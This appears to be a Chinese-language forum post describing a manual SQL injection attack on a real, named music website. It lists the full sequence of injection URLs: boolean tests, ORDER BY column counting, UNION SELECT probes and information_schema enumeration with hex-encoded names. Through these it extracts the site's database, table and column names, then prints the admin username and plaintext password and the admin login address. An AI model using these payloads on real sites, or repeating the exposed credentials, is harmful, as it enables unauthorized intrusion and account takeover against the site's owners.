各位大牛飘过。。
最近在学习php注入方面的资料,就试试实践哈。。
由于是个小分站所以就不屏蔽域名。。
ok 开始:
目标站:http://china.asiaspain.com/music/
随便点击一个连接进去。。
http://china.asiaspain.com/music/show.php?id=148
http://china.asiaspain.com/music/show.php?id=148' 出错
为了进一步测试
http://china.asiaspain.com/music/show.php?id=148 and 1=1 正常
http://china.asiaspain.com/music/show.php?id=148 and 1=2 出错
好的,有注入。。。
一般的php网站 都是mysql的数据库。。而它又是免费的,所以都会升级到最新版。。俗话说的好,免费的不用白不用。。
mysql4.0 以上都支持联合查询。。即 and union select 语句。。
当然不放心的话也可以测试下,看看是不是mysql4.0以上的版本
测试语句如下:
http://china.asiaspain.com/music/show.php?id=148 ord(mid(version(),0,1))>51 正常 则为4.0以上的版本。。
我们继续。。
开始猜 http://china.asiaspain.com/music/show.php?id=148 order by 数字
比如 http://china.asiaspain.com/music/show.php?id=148 order by 10 正常
10、11、12、13、14、---
http://china.asiaspain.com/music/show.php?id=148 order by 15 正常。。
http://china.asiaspain.com/music/show.php?id=148 order by 19 正常
http://china.asiaspain.com/music/show.php?id=148 order by 20 错误
这里废话一下 猜这个可以用折半法 也就是半分法来猜解。。。
http://china.asiaspain.com/music/show.php?id=148 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 正常,同时爆出数字
2,5,6,8,9,12 等。。
依照常法我们猜解表名。。
http://china.asiaspain.com/music/show.php?id=148 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from amdin 错误
http://china.asiaspain.com/music/show.php?id=148 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from admins 错误
http://china.asiaspain.com/music/show.php?id=148 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from manage 错误
http://china.asiaspain.com/music/show.php?id=148 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from manages 错误
试了n个都错误,看来只有用那个方法爆表了。。
先爆哈数据库版本
http://china.asiaspain.com/music/show.php?id=148 and 1=2 union select 1,2,3,4,5,version(),7,8,9,10,11,12,13,14,15,16,17,18,19
呵呵 5.0的
information_schema 呵呵 mysql5.0以上的表名字段都会存放在这里。。我们试一试从这个开始入手。。
首先爆出他的数据库。。
http://china.asiaspain.com/music/show.php?id=148 and 1=2 union select 1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,16,17,18,19
呵呵 出来了。。asiasp_music
接下来是爆这个数据库里面的表名
http://china.asiaspain.com/music/show.php?id=148 and 1=2 union select 1,2,3,4,5,table_name,7,8,9,10,11,12,13,14,15,16,17,18,19 from information_schema.tables where table_schema=0x6173696173705F6D75736963 limit 0,1
爆出一个。lsmusic /**0x6173696173705F6D75736963 这个为 asiasp_music的16进制*/
继续爆 爆下一个只需要更改0依次为1,2,3,4,5,6,7等等。。
http://china.asiaspain.com/music/show.php?id=148 and 1=2 union select 1,2,3,4,5,table_name,7,8,9,10,11,12,13,14,15,16,17,18,19 from information_schema.tables where table_schema=0x6173696173705F6D75736963 limit 1,1
lsmusic2 依次爆出 lsmusic2 lsmusic lsmusic_sort1 lsmusic_sort12 lsmusic_sort2 lsmusic_sort22 lsmusic_user lsmusic_user2 lsmusicb lsmusicb2 等表名
先测试一下。。呵呵
http://china.asiaspain.com/music/show.php?id=148 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from lsmusic_user 正常
我们继续 爆字段。。
http://china.asiaspain.com/music/show.php?id=148 and 1=2 union select 1,2,3,4,5,column_name,7,8,9,10,11,12,13,14,15,16,17,18,19 from information_schema.columns where table_schema=0x6173696173705F6D75736963 and table_name=0x6C736D757369635F7573657232 limit 0,1
爆出 id /*0x6C736D757369635F7573657232为lsmusic_user2 的16进制*/
一次更改数字 爆出 id username password groupid 等。。
呵呵激动人心的时刻来临了。。
http://china.asiaspain.com/music/show.php?id=148 and 1=2 union select 1,2,3,4,5,username,7,8,9,10,11,password,13,14,15,16,17,18,19 from lsmusic_user2
呵呵 成功爆出 username:lostone password:lostone13579
后台登录地址:http://china.asiaspain.com/music/admin/ 呵呵 进去发现原来只有简单的功能,连上传图片的都没有。。唉 一场梦。。。。